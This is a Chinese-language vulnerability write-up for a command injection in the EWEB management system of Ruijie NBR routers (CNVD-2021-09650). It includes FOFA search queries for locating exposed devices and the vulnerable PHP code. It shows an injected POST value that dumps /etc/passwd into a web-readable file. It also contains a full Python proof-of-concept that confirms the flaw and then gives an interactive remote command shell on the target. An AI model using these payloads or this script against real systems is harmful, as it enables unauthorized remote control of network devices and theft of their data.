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129 lines
4.5 KiB
Markdown
129 lines
4.5 KiB
Markdown
# 锐捷 NBR路由器 远程命令执行漏洞 CNVD-2021-09650
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## 漏洞描述
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锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限
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## 漏洞影响
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```
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锐捷NBR路由器 EWEB网管系统
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```
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## FOFA
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```
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title="锐捷网络-EWEB网管系统"
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icon_hash="-692947551"
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```
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## 漏洞复现
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出现漏洞的文件在 **/guest_auth/guestIsUp.php**
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```php
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<?php
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//查询用户是否上线了
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$userip = @$_POST['ip'];
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$usermac = @$_POST['mac'];
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if (!$userip || !$usermac) {
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exit;
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}
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/* 判断该用户是否已经放行 */
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$cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
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$res = exec($cmd, $out, $status);
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/* 如果已经上线成功 */
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if (strstr($out[0], "status:1")) {
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echo 'true';
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}
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?>
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```
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这里看到通过命令拼接的方式构造命令执行，
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```shell
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POST /guest_auth/guestIsUp.php
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mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt
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```
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然后访问页面 **/guest_auth/test.txt** 就可以看到命令执行的结果
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷网络-EWEB网管系统 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/guest_auth/guestIsUp.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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}
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data = "mac=1&ip=127.0.0.1| whoami > test_test.txt"
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
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if response.status_code == 200:
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print("\033[32m[o] 目标{}存在漏洞, 执行命令 whoami \033[0m".format(target_url))
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=target_url + "/guest_auth/test_test.txt", headers=headers, data=data, verify=False, timeout=5)
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print("\033[32m[o] 响应为： {} \033[0m".format(response.text))
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while True:
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cmd = input("\033[35mCmd >>> \033[0m")
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if cmd == "exit":
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sys.exit(0)
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else:
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POC_2(target_url, cmd)
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else:
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print("\033[31m[x] 目标不存在漏洞 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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def POC_2(target_url, cmd):
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vuln_url = target_url + "/guest_auth/guestIsUp.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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}
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data = "mac=1&ip=127.0.0.1| {} > test_test.txt".format(cmd)
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
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if response.status_code == 200:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=target_url + "/guest_auth/test_test.txt", headers=headers, data=data,verify=False, timeout=5)
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print("\033[32m[o] 响应为： \n{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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